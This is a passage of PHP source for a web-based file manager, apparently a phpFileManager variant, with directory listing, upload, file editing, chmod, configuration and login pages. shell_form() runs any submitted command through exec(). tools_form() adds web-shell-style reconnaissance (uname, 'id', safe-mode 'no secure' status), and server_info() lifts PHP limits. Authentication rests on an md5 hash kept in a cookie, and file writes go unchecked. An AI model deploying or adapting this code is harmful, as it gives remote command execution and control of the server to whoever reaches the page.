$file = $dir_entry["name"];

if ($dir_entry["type"]=="dir"){

$dir_out .= "

<tr ID=\"entry$ind\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">

<td align=left bgcolor=\"#".$fm_color['Dir']."\"><nobr><a href=\"JavaScript:go('$file')\">$file</a></nobr>

<td bgcolor=\"#".$fm_color['Dir']."\">".$dir_entry["p"];

if ($islinux) $dir_out .= "<td bgcolor=\"#".$fm_color['Dir']."\">".$dir_entry["u"]."<td bgcolor=\"#".$fm_color['Dir']."\">".$dir_entry["g"];

$dir_out .= "

<td bgcolor=\"#".$fm_color['Dir']."\">".$dir_entry["sizet"]."

<td bgcolor=\"#".$fm_color['Dir']."\">".$dir_entry["datet"];

if ($file_count) $dir_out .= "

<td bgcolor=\"#".$fm_color['Dir']."\" align=center>";

// Opes de diretrio

if ( is_writable($dir_atual.$file) ) $dir_out .= "

<td bgcolor=\"#FFFFFF\" align=center><a href=\"JavaScript:if(confirm('".et('ConfRem')." \\'".$file."\\' ?')) document.location.href='".$path_info["basename"]."?frame=3&action=8&cmd_arg=".$file."&dir_atual=$dir_atual'\">".et('Rem')."</a>

<td bgcolor=\"#FFFFFF\" align=center><a href=\"JavaScript:rename('$file')\">".et('Ren')."</a>";

$dir_out .= "

</tr>";

} else {

$file_out .= "

<tr ID=\"entry$ind\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">

<td align=left bgcolor=\"#FFFFFF\"><nobr><a href=\"JavaScript:download('$file')\">$file</a></nobr>

<td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["p"];

if ($islinux) $file_out .= "<td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["u"]."<td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["g"];

$file_out .= "

<td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["sizet"]."

<td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["datet"]."

<td bgcolor=\"#".$fm_color['File']."\">".$dir_entry["extt"];

// Opes de arquivo

if ( is_writable($dir_atual.$file) ) $file_out .= "

<td bgcolor=\"#FFFFFF\" align=center><a href=\"javascript:if(confirm('".strtoupper(et('Rem'))." \\'".$file."\\' ?')) document.location.href='".$path_info["basename"]."?frame=3&action=8&cmd_arg=".$file."&dir_atual=$dir_atual'\">".et('Rem')."</a>

<td bgcolor=\"#FFFFFF\" align=center><a href=\"javascript:rename('$file')\">".et('Ren')."</a>";

if ( is_readable($dir_atual.$file) && (strpos(".wav#.mp3#.mid#.avi#.mov#.mpeg#.mpg#.rm#.iso#.bin#.img#.dll#.psd#.fla#.swf#.class#.ppt#.jpg#.gif#.png#.wmf#.eps#.bmp#.msi#.exe#.com#.rar#.tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) === false)) $file_out .= "

<td bgcolor=\"#FFFFFF\" align=center><a href=\"javascript:edit_file('$file')\">".et('Edit')."</a>";

if ( is_readable($dir_atual.$file) && strlen($dir_entry["ext"]) && (strpos(".tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) !== false)) $file_out .= "

<td bgcolor=\"#FFFFFF\" align=center><a href=\"javascript:decompress('$file')\">".et('Decompress')."</a>";

if( $is_reachable && is_readable($dir_atual.$file) && (strpos(".txt#.sys#.bat#.ini#.conf#.swf#.php#.php3#.asp#.html#.htm#.jpg#.gif#.png#.bmp#", $dir_entry["ext"]."#" ) !== false)) $file_out .= "

<td bgcolor=\"#FFFFFF\" align=center><a href=\"javascript:view('$file');\">".et('View')."</a>";

$file_out .= "</tr>";

}

}

$out .= $dir_out;

if ($entry_count){

$out .= "

<tr>

<td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or1&dir_atual=$dir_atual\">".et('Name')."</a>

<td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or2&dir_atual=$dir_atual\">".et('Perms')."</a>";

if ($islinux) $out .= "<td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or3&dir_atual=$dir_atual\">".et('Owner')."</a><td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or4&dir_atual=$dir_atual\">".et('Group')."</a>";

$out .= "

<td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or5&dir_atual=$dir_atual\">".et('Size')."</a>

<td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or6&dir_atual=$dir_atual\">".et('Date')."</a>";

if ($file_count) $out .= "

<td bgcolor=\"#000000\"><a href=\"".$path_info["basename"]."?frame=3&or_by=$or7&dir_atual=$dir_atual\">".et('Type')."</a>";

$out .= "

<td bgcolor=\"#000000\" colspan=20>";

}

$out .= $file_out;

$out .= "

<tr>

<td bgcolor=\"#000000\" colspan=20><nobr>

<input type=\"button\" style=\"width:60\" onclick=\"selectANI(this)\" value=\"".et('SelAll')."\">

<input type=\"button\" style=\"width:60\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\">

<input type=\"button\" style=\"width:60\" onclick=\"test(4)\" value=\"".et('Rem')."\">

<input type=\"button\" style=\"width:60\" onclick=\"sel_dir(5)\" value=\"".et('Copy')."\">

<input type=\"button\" style=\"width:60\" onclick=\"sel_dir(6)\" value=\"".et('Move')."\">

<input type=\"button\" style=\"width:100\" onclick=\"test_prompt(71)\" value=\"".et('Compress')."\">";

if ($islinux) $out .= "

<input type=\"button\" style=\"width:100\" onclick=\"resolveIDs()\" value=\"".et('ResolveIDs')."\">";

$out .= "

<input type=\"button\" style=\"width:100\" onclick=\"chmod(9)\" value=\"".et('Perms')."\">";

$out .= "

</nobr></td>

</tr>";

$out .= "

</form>";

$out .= "

<tr><td bgcolor=\"#000000\" colspan=20>$dir_count ".et('Dir_s')." ".et('And')." $file_count ".et('File_s')." = ".formatsize($total_size)."</td></tr>";

if ($quota_mb) {

$out .= "

<tr><td bgcolor=\"#000000\" colspan=20>".et('Partition').": ".formatsize(($quota_mb*1024*1024))." ".et('Total')." - ".formatsize(($quota_mb*1024*1024)-total_size($fm_root_atual))." ".et('Free')."</td></tr>";

} else {

$out .= "

<tr><td bgcolor=\"#000000\" colspan=20>".et('Partition').": ".formatsize(disk_total_space($dir_atual))." ".et('Total')." - ".formatsize(disk_free_space($fm_root_atual))." ".et('Free')."</td></tr>";

}

$tf = getmicrotime();

$tt = ($tf - $ti);

$out .= "

<tr><td bgcolor=\"#000000\" colspan=20>".et('RenderTime').": ".substr($tt,0,strrpos($tt,".")+5)." ".et('Seconds')."</td></tr>";

$out .= "

<script language=\"Javascript\" type=\"text/javascript\">



</script>";

} else {

$out .= "

<tr>

<td bgcolor=\"#000000\" width=\"1%\">$uplink<td bgcolor=\"#000000\" colspan=20><nobr><a href=\"".$path_info["basename"]."?frame=3&dir_atual=$dir_atual\">$dir_atual</a></nobr>

<tr><td bgcolor=\"#000000\" colspan=20>".et('EmptyDir').".</tr>";

}

} else $out .= "<tr><td><font color=red>".et('IOError').".<br>$dir_atual</font>";

$out .= "</table>";

echo $out;

}

function upload_form(){

global $_FILES,$dir_atual,$dir_dest,$fechar,$quota_mb,$path_info;

$num_uploads = 5;

html_header();

echo "<body marginwidth=\"0\" marginheight=\"0\">";

if (count($_FILES)==0){

echo "

<table bordercolor=ffffff height=\"100%\" border=0 cellspacing=0 cellpadding=2 align=center>

<form name=\"upload_form\" action=\"".$path_info["basename"]."\" method=\"post\" ENCTYPE=\"multipart/form-data\">

<input type=hidden name=dir_dest value=\"$dir_atual\">

<input type=hidden name=action value=10>

<tr><th colspan=2>".et('Upload')."</th></tr>

<tr><td align=right><b>".et('Destination').":<td><b><nobr>$dir_atual</nobr>";

for ($x=0;$x<$num_uploads;$x++){

echo "<tr><td width=1 align=right><b>".et('File').":<td><nobr><input type=\"file\" name=\"file$x\"></nobr>";

$test_js .= "(document.upload_form.file$x.value.length>0)||";

}

echo "

<input type=button value=\"".et('Send')."\" onclick=\"test_upload_form()\"></nobr>

<tr><td> <td><input type=checkbox name=fechar value=\"1\"> <a href=\"JavaScript:troca();\">".et('AutoClose')."</a>

<tr><td colspan=2> </td></tr>

</form>

</table>

<script language=\"Javascript\" type=\"text/javascript\">



</script>";

} else {

$out = "<tr><th colspan=2>".et('UploadEnd')."</th></tr>

<tr><th colspan=2><nobr>".et('Destination').": $dir_dest</nobr>";

for ($x=0;$x<$num_uploads;$x++){

$temp_file = $_FILES["file".$x]["tmp_name"];

$filename = $_FILES["file".$x]["name"];

if (strlen($filename)) $resul = save_upload($temp_file,$filename,$dir_dest);

else $resul = 7;

switch($resul){

case 1:

$out .= "<tr><td><b>".strzero($x+1,3).".<font color=green><b> ".et('FileSent').":</font><td>".$filename."</td></tr>\n";

break;

case 2:

$out .= "<tr><td colspan=2><font color=red><b>".et('IOError')."</font></td></tr>\n";

$x = $upload_num;

break;

case 3:

$out .= "<tr><td colspan=2><font color=red><b>".et('SpaceLimReached')." ($quota_mb Mb)</font></td></tr>\n";

$x = $upload_num;

break;

case 4:

$out .= "<tr><td><b>".strzero($x+1,3).".<font color=red><b> ".et('InvExt').":</font><td>".$filename."</td></tr>\n";

break;

case 5:

$out .= "<tr><td><b>".strzero($x+1,3).".<font color=red><b> ".et('FileNoOverw')."</font><td>".$filename."</td></tr>\n";

break;

case 6:

$out .= "<tr><td><b>".strzero($x+1,3).".<font color=green><b> ".et('FileOverw').":</font><td>".$filename."</td></tr>\n";

break;

case 7:

$out .= "<tr><td colspan=2><b>".strzero($x+1,3).".<font color=red><b> ".et('FileIgnored')."</font></td></tr>\n";

}

}

if ($fechar) {

echo "

<script language=\"Javascript\" type=\"text/javascript\">



</script>

";

} else {

echo "

<table bordercolor=ffffff height=\"100%\" border=0 cellspacing=0 cellpadding=2 align=center>

$out

<tr><td colspan=2> </td></tr>

</table>

<script language=\"Javascript\" type=\"text/javascript\">



</script>

";

}

}

echo "</body>\n</html>";

}

function chmod_form(){

$aux = "

<script language=\"Javascript\" type=\"text/javascript\">



</script>

";

html_header($aux);

echo "<body marginwidth=\"0\" marginheight=\"0\">

<form name=\"chmod_form\">

<table bordercolor=ffffff BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"4\" ALIGN=CENTER>

<tr><th colspan=4>".et('Perms')."</th></tr>

<TR ALIGN=\"LEFT\" VALIGN=\"MIDDLE\">

<TD><input type=\"text\" name=\"t_total\" value=\"0777\" size=\"4\" onKeyUp=\"octalchange()\"> </TD>

<TD><input type=\"text\" name=\"sym_total\" value=\"\" size=\"12\" READONLY=\"1\"></TD>

</TR>

</TABLE>

<table bordercolor=ffffff cellpadding=\"2\" cellspacing=\"0\" border=\"0\" ALIGN=CENTER>

<tr bgcolor=\"#333333\">

<td WIDTH=\"60\" align=\"left\"> </td>

<td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Owner')."

</b></td>

<td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Group')."

</b></td>

<td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Other')."

<b></td>

</tr>

<tr bgcolor=\"#000000\">

<td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Read')."</td>

<td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">

<input type=\"checkbox\" name=\"owner4\" value=\"4\" onclick=\"calc_chmod()\">

</td>

<td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group4\" value=\"4\" onclick=\"calc_chmod()\">

</td>

<td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">

<input type=\"checkbox\" name=\"other4\" value=\"4\" onclick=\"calc_chmod()\">

</td>

</tr>

<tr bgcolor=\"#000000\">

<td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Write')."</td>

<td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">

<input type=\"checkbox\" name=\"owner2\" value=\"2\" onclick=\"calc_chmod()\"></td>

<td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group2\" value=\"2\" onclick=\"calc_chmod()\">

</td>

<td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">

<input type=\"checkbox\" name=\"other2\" value=\"2\" onclick=\"calc_chmod()\">

</td>

</tr>

<tr bgcolor=\"#000000\">

<td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Exec')."</td>

<td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">

<input type=\"checkbox\" name=\"owner1\" value=\"1\" onclick=\"calc_chmod()\">

</td>

<td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group1\" value=\"1\" onclick=\"calc_chmod()\">

</td>

<td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">

<input type=\"checkbox\" name=\"other1\" value=\"1\" onclick=\"calc_chmod()\">

</td>

</tr>

</TABLE>

<table bordercolor=ffffff BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"4\" ALIGN=CENTER>

<tr><td colspan=2><input type=checkbox name=sticky value=\"1\" onclick=\"calc_chmod()\"> <a href=\"JavaScript:troca();\">".et('StickyBit')."</a><td colspan=2 align=right><input type=button value=\"".et('Apply')."\" onClick=\"window.opener.set_chmod_arg(document.chmod_form.t_total.value); window.close();\"></tr>

</table>

</form>

</body>\n</html>";

}

function view(){

global $doc_root,$path_info,$url_info,$dir_atual,$islinux,$filename,$is_reachable;

html_header();

echo "<body marginwidth=\"0\" marginheight=\"0\">

<script language=\"Javascript\" type=\"text/javascript\">



</script>

</body>\n</html>";

}

function edit_file_form(){

global $dir_atual,$filename,$file_data,$save_file,$path_info;

$file = $dir_atual.$filename;

if ($save_file){

$fh=fopen($file,"w");

fputs($fh,$file_data,strlen($file_data));

fclose($fh);

}

$fh=fopen($file,"r");

$file_data=fread($fh, filesize($file));

fclose($fh);

html_header();

echo "<body marginwidth=\"0\" marginheight=\"0\">

<table bordercolor=ffffff border=0 cellspacing=0 cellpadding=5 align=center>

<form name=\"edit_form\" action=\"".$path_info["basename"]."\" method=\"post\">

<input type=hidden name=action value=\"7\">

<input type=hidden name=save_file value=\"1\">

<input type=hidden name=dir_atual value=\"$dir_atual\">

<input type=hidden name=filename value=\"$filename\">

<tr><th colspan=2>".$file."</th></tr>

<tr><td colspan=2><textarea name=file_data rows=33 cols=105>".htmlencode($file_data)."</textarea></td></tr>

<tr><td><input type=button value=\"".et('Refresh')."\" onclick=\"document.edit_form_refresh.submit()\"></td><td align=right><input type=button value=\"".et('SaveFile')."\" onclick=\"go_save()\"></td></tr>

</form>

<form name=\"edit_form_refresh\" action=\"".$path_info["basename"]."\" method=\"post\">

<input type=hidden name=action value=\"7\">

<input type=hidden name=dir_atual value=\"$dir_atual\">

<input type=hidden name=filename value=\"$filename\">

</form>

</table>

<script language=\"Javascript\" type=\"text/javascript\">



</script>

</body>\n</html>";

}

function config_form(){

global $cfg;

global $dir_atual,$script_filename,$doc_root,$path_info,$fm_root_atual,$lang,$error_reporting,$version;

global $config_action,$newsenha,$newlang,$newerror,$newfm_root;

$Warning = "";

switch ($config_action){

case 1:

if ($fh = fopen("http://phpfm.sf.net/latest.php","r")){

$data = "";

while (!feof($fh)) $data .= fread($fh,1024);

fclose($fh);

$data = unserialize($data);

$ChkVerWarning = "<tr><td align=right> ";

if (is_array($data)&&count($data)){

// sf.net logo

$ChkVerWarning .= "<a href=\"JavaScript:open_win('http://sourceforge.net')\"><img src=\"http://sourceforge.net/sflogo.php?group_id=114392&type=1\" width=\"88\" height=\"31\" border=\"0\" alt=\"SourceForge.net Logo\" /></a>";

if (str_replace(".","",$data['version'])>str_replace(".","",$cfg->data['version'])) $ChkVerWarning .= "<td><a href=\"JavaScript:open_win('http://prdownloads.sourceforge.net/phpfm/phpFileManager-".$data['version'].".zip?download')\"><font color=green>".et('ChkVerAvailable')."</font></a>";

else $ChkVerWarning .= "<td><font color=red>".et('ChkVerNotAvailable')."</font>";

} else $ChkVerWarning .= "<td><font color=red>".et('ChkVerError')."</font>";

} else $ChkVerWarning .= "<td><font color=red>".et('ChkVerError')."</font>";

break;

case 2:

$reload = false;

if ($cfg->data['lang'] != $newlang){

$cfg->data['lang'] = $newlang;

$lang = $newlang;

$reload = true;

}

if ($cfg->data['error_reporting'] != $newerror){

$cfg->data['error_reporting'] = $newerror;

$error_reporting = $newerror;

$reload = true;

}

$newfm_root = formatpath($newfm_root);

if ($cfg->data['fm_root'] != $newfm_root){

$cfg->data['fm_root'] = $newfm_root;

if (strlen($newfm_root)) $dir_atual = $newfm_root;

else $dir_atual = $path_info["dirname"]."/";

setcookie("fm_root_atual", $newfm_root , 0 , "/");

$reload = true;

}

$cfg->save();

if ($reload){

reloadframe("window.opener.parent",2);

reloadframe("window.opener.parent",3);

}

$Warning1 = et('ConfSaved')."...";

break;

case 3:

if ($cfg->data['auth_pass'] != md5($newsenha)){

$cfg->data['auth_pass'] = md5($newsenha);

setcookie("loggedon", md5($newsenha) , 0 , "/");

}

$cfg->save();

$Warning2 = et('PassSaved')."...";

break;

}

html_header();

echo "<body marginwidth=\"0\" marginheight=\"0\">\n";

echo "

<table bordercolor=ffffff border=0 cellspacing=0 cellpadding=5 align=center width=\"100%\">

<form name=\"config_form\" action=\"".$path_info["basename"]."\" method=\"post\">

<input type=hidden name=action value=2>

<input type=hidden name=config_action value=0>

<tr><td colspan=2 align=center><b>".strtoupper(et('Configurations'))."</b></td></tr>

</table>

<table bordercolor=ffffff border=0 cellspacing=0 cellpadding=5 align=center width=\"100%\">

<tr><td align=right width=\"1%\">".et('Version').":<td>$version</td></tr>

<tr><td align=right>".et('Size').":<td>".getsize($script_filename)."</td></tr>

<tr><td align=right>".et('Website').":<td><a href=\"JavaScript:open_win('http://phpfm.sf.net')\">http://phpfm.sf.net</a></td></tr>";

if (strlen($ChkVerWarning)) echo $ChkVerWarning.$data['warnings'];

else echo "<tr><td align=right> <td><input type=button value=\"".et('ChkVer')."\" onclick=\"test_config_form(1)\">";

echo "

<tr><td align=right width=1><nobr>".et('DocRoot').":</nobr><td>".$doc_root."</td></tr>

<tr><td align=right><nobr>".et('FLRoot').":</nobr><td><input type=text size=60 name=newfm_root value=\"".$cfg->data['fm_root']."\" onkeypress=\"enterSubmit(event,'test_config_form(2)')\"></td></tr>

<tr><td align=right>".et('Lang').":<td><select name=newlang><option value=en>English<option value=pt>Portugus</select></td></tr>

<tr><td align=right>".et('ErrorReport').":<td><select name=newerror><option value=\"\">NONE<option value=\"".E_ALL."\">E_ALL<option value=\"".E_ERROR."\">E_ERROR<option value=\"".(E_ERROR | E_WARNING)."\">E_ERROR & E_WARNING<option value=\"".(E_ERROR | E_WARNING | E_NOTICE)."\">E_ERROR & E_WARNING & E_NOTICE</select></td></tr>

<tr><td> <td><input type=button value=\"".et('SaveConfig')."\" onclick=\"test_config_form(2)\">";

if (strlen($Warning1)) echo " <font color=red>$Warning1</font>";

echo "

<tr><td align=right>".et('Pass').":<td><input type=text size=30 name=newsenha value=\"\" onkeypress=\"enterSubmit(event,'test_config_form(3)')\"></td></tr>

<tr><td> <td><input type=button value=\"".et('SavePass')."\" onclick=\"test_config_form(3)\">";

if (strlen($Warning2)) echo " <font color=red>$Warning2</font>";

echo "</td></tr>";

echo "

</form>

</table>

<script language=\"Javascript\" type=\"text/javascript\">



</script>

";

echo "</body>\n</html>";

}

function shell_form(){

global $dir_atual,$shell_form,$cmd_arg,$path_info;

$data_out = "";

if (strlen($cmd_arg)){

exec($cmd_arg,$mat);

if (count($mat)) $data_out = trim(implode("\n",$mat));

}

switch ($shell_form){

case 1:

html_header();

echo "

<body marginwidth=\"0\" marginheight=\"0\">

<table bordercolor=ffffff border=0 cellspacing=0 cellpadding=0 align=center>

<form name=\"data_form\">

<tr><td><textarea name=data_out rows=29 cols=80 READONLY=\"1\"></textarea></td></tr>

</form>

</table>

</body></html>";

break;

case 2:

html_header();

echo "

<body marginwidth=\"0\" marginheight=\"0\">

<table bordercolor=ffffff border=0 cellspacing=0 cellpadding=0 align=center>

<form name=\"shell_form\" action=\"".$path_info["basename"]."\" method=\"post\">

<input type=hidden name=dir_atual value=\"$dir_atual\">

<input type=hidden name=action value=\"9\">

<input type=hidden name=shell_form value=\"2\">

<tr><td align=center><input type=text size=90 name=cmd_arg></td></tr>

</form>";

echo "

<script language=\"Javascript\" type=\"text/javascript\">



</script>

";

echo "

</table>

</body></html>";

break;

default:

$aux = "

<script language=\"Javascript\" type=\"text/javascript\">



</script>";

html_header($aux);

echo "

<frameset rows=\"470,*\" framespacing=\"0\" frameborder=no>

<frame src=\"".$path_info["basename"]."?action=9&shell_form=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\">

<frame src=\"".$path_info["basename"]."?action=9&shell_form=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">

</frameset>

</html>";

}

}

function server_info(){

if (!@phpinfo()) echo et('NoPhpinfo')."...";

echo "<br><br>";

$a=ini_get_all();

$output="<table bordercolor=ffffff border=1 cellspacing=0 cellpadding=4 align=center>";

while(list($key, $value)=each($a)) {

list($k, $v)= each($a[$key]);

$output.="<tr><td align=right>$key</td><td>$v</td></tr>";

}

$output.="</table>";

echo $output;

echo "<br><br><table bordercolor=ffffff border=1 cellspacing=0 cellpadding=4 align=center>";

$safe_mode=trim(ini_get("safe_mode"));

if ((strlen($safe_mode)==0)||($safe_mode==0)) $safe_mode=false;

else $safe_mode=true;

$is_windows_server = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');

echo "<tr><td colspan=2>".php_uname();

echo "<tr><td>safe_mode<td>".($safe_mode?"on":"off");

if ($is_windows_server) echo "<tr><td>sisop<td>Windows<br>";

else echo "<tr><td>sisop<td>Linux<br>";

echo "</table><br><br><table bordercolor=ffffff border=1 cellspacing=0 cellpadding=4 align=center>";

$display_errors=ini_get("display_errors");

$ignore_user_abort = ignore_user_abort();

$max_execution_time = ini_get("max_execution_time");

$upload_max_filesize = ini_get("upload_max_filesize");

$memory_limit=ini_get("memory_limit");

$output_buffering=ini_get("output_buffering");

$default_socket_timeout=ini_get("default_socket_timeout");

$allow_url_fopen = ini_get("allow_url_fopen");

$magic_quotes_gpc = ini_get("magic_quotes_gpc");

ignore_user_abort(true);

ini_set("display_errors",0);

ini_set("max_execution_time",0);

ini_set("upload_max_filesize","10M");

ini_set("memory_limit","20M");

ini_set("output_buffering",0);

ini_set("default_socket_timeout",30);

ini_set("allow_url_fopen",1);

ini_set("magic_quotes_gpc",0);

echo "<tr><td> <td>Get<td>Set<td>Get";

echo "<tr><td>display_errors<td>$display_errors<td>0<td>".ini_get("display_errors");

echo "<tr><td>ignore_user_abort<td>".($ignore_user_abort?"on":"off")."<td>on<td>".(ignore_user_abort()?"on":"off");

echo "<tr><td>max_execution_time<td>$max_execution_time<td>0<td>".ini_get("max_execution_time");

echo "<tr><td>upload_max_filesize<td>$upload_max_filesize<td>10M<td>".ini_get("upload_max_filesize");

echo "<tr><td>memory_limit<td>$memory_limit<td>20M<td>".ini_get("memory_limit");

echo "<tr><td>output_buffering<td>$output_buffering<td>0<td>".ini_get("output_buffering");

echo "<tr><td>default_socket_timeout<td>$default_socket_timeout<td>30<td>".ini_get("default_socket_timeout");

echo "<tr><td>allow_url_fopen<td>$allow_url_fopen<td>1<td>".ini_get("allow_url_fopen");

echo "<tr><td>magic_quotes_gpc<td>$magic_quotes_gpc<td>0<td>".ini_get("magic_quotes_gpc");

echo "</table><br><br>";

echo "

<script language=\"Javascript\" type=\"text/javascript\">



</script>";

echo "</body>\n</html>";

}

// +--------------------------------------------------

function tools_form(){

$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");

if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}

$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));

$win = strtolower(substr(PHP_OS,0,3)) == "win";

if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")

{

$safemode = TRUE;

$hsafemode = "<font color=red>ON (secure)</font>";

}

else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (no secure)</font>";}

echo "<script language=\"javascript\">

function config(){

var w = 600;

var h = 400;

window.open('".$path_info["basename"]."?action=2', 'win_config', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');

}

function server_info(arg){

var w = 800;

var h = 600;

window.open('".$path_info["basename"]."?action=5', 'win_serverinfo', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');

}

function shell(){

var w = 700;

var h = 500;

window.open('".$path_info["basename"]."?action=9', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');

}

</script>";

echo "

<body bgcolor=\"#000000\" style=\"color:006600\">

<input type=button onclick=\"config()\" value=\"".et('Config')."\">

<input type=button onclick=\"server_info()\" value=\"".et('ServerInfo')."\">

<input type=button onclick=\"shell()\" value=\"".et('Shell')."\">

</body>";

echo "<br/><b>Software:</b>";

echo $DISP_SERVER_SOFTWARE;

echo "<br/><b>System:</b>";

echo wordwrap(php_uname(),90,"<br>",1);

echo "<br/><b>User:</b>";

if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();}

echo "<br/><b>Safe-mode:</b>";

echo $hsafemode;

}

// | Session

// +--------------------------------------------------

function logout(){

setcookie("loggedon",0,0,"/");

form_login();

}

function login(){

global $senha,$auth_pass,$path_info;

if (md5(trim($senha)) == $auth_pass){

setcookie("loggedon",$auth_pass,0,"/");

header ("Location: ".$path_info["basename"]."");

} else header ("Location: ".$path_info["basename"]."?erro=1");

}

function form_login(){

global $erro,$auth_pass,$path_info;

html_header();

echo "<body onLoad=\"if(parent.location.href != self.location.href){ parent.location.href = self.location.href } return true;\">\n";

if ($auth_pass != md5("")){

echo "

<table bordercolor=ffffff border=0 cellspacing=0 cellpadding=5>

<form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\">

<tr>

<td><b>".et('FileMan')."</b>

</tr>

<tr>

<td align=left><font size=4>".et('TypePass').".</font>

</tr>

<tr>

<td><input name=senha type=password size=10> <input type=submit value=\"".et('Send')."\">

</tr>

";

if (strlen($erro)) echo "

<tr>

<td align=left><font color=red size=4>".et('InvPass').".</font>

</tr>

";

echo "

</form>

</table>

<script language=\"Javascript\" type=\"text/javascript\">



</script>

";

} else {

echo "

<table bordercolor=ffffff border=0 cellspacing=0 cellpadding=5>

<form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\">

<input type=hidden name=frame value=3>

<input type=hidden name=senha value=\"\">

<tr>

<td><b>".et('FileMan')."</b>

</tr>

<tr>

<td><input type=submit value=\"".et('Enter')."\">

</tr>

</form>

</table>

";

}

echo "</body>\n</html>";

}

function frame3(){

global $islinux,$cmd_arg,$chmod_arg,$zip_dir,$fm_root_atual;

global $dir_dest,$dir_atual,$dir_antes;

global $selected_file_list,$selected_dir_list,$old_name,$new_name;

global $action,$or_by,$order_dir_list_by;

if (!isset($order_dir_list_by)){

$order_dir_list_by = "1A";

setcookie("order_dir_list_by", $order_dir_list_by , $cookie_cache_time , "/");

} elseif (strlen($or_by)){

$order_dir_list_by = $or_by;

setcookie("order_dir_list_by", $or_by , $cookie_cache_time , "/");

}

html_header();

echo "<body>\n";

if ($action){

switch ($action){

case 1: // create dir

if (strlen($cmd_arg)){

$cmd_arg = formatpath($dir_atual.$cmd_arg);

if (!file_exists($cmd_arg)){

mkdir($cmd_arg,0777);

chmod($cmd_arg,0777);

reloadframe("parent",2,"&ec_dir=".$cmd_arg);

} else alert(et('FileDirExists').".");

}

break;

case 2: // create arq

if (strlen($cmd_arg)){

$cmd_arg = $dir_atual.$cmd_arg;

if (!file_exists($cmd_arg)){

if ($fh = @fopen($cmd_arg, "w")){

@fclose($fh);

}

chmod($cmd_arg,0666);

} else alert(et('FileDirExists').".");

}

break;

case 3: // rename arq ou dir

if ((strlen($old_name))&&(strlen($new_name))){

rename($dir_atual.$old_name,$dir_atual.$new_name);

if (is_dir($dir_atual.$new_name)) reloadframe("parent",2);

}

break;

case 4: // delete sel

if(strstr($dir_atual,$fm_root_atual)){

if (strlen($selected_file_list)){

$selected_file_list = explode("<|*|>",$selected_file_list);

if (count($selected_file_list)) {

for($x=0;$x<count($selected_file_list);$x++) {

$selected_file_list[$x] = trim($selected_file_list[$x]);

if (strlen($selected_file_list[$x])) total_delete($dir_atual.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);

}

}

}

if (strlen($selected_dir_list)){

$selected_dir_list = explode("<|*|>",$selected_dir_list);

if (count($selected_dir_list)) {

for($x=0;$x<count($selected_dir_list);$x++) {

$selected_dir_list[$x] = trim($selected_dir_list[$x]);

if (strlen($selected_dir_list[$x])) total_delete($dir_atual.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);

}

reloadframe("parent",2);

}

}

}

break;

case 5: // copy sel

if (strlen($dir_dest)){

if(strtoupper($dir_dest) != strtoupper($dir_atual)){

if (strlen($selected_file_list)){

$selected_file_list = explode("<|*|>",$selected_file_list);

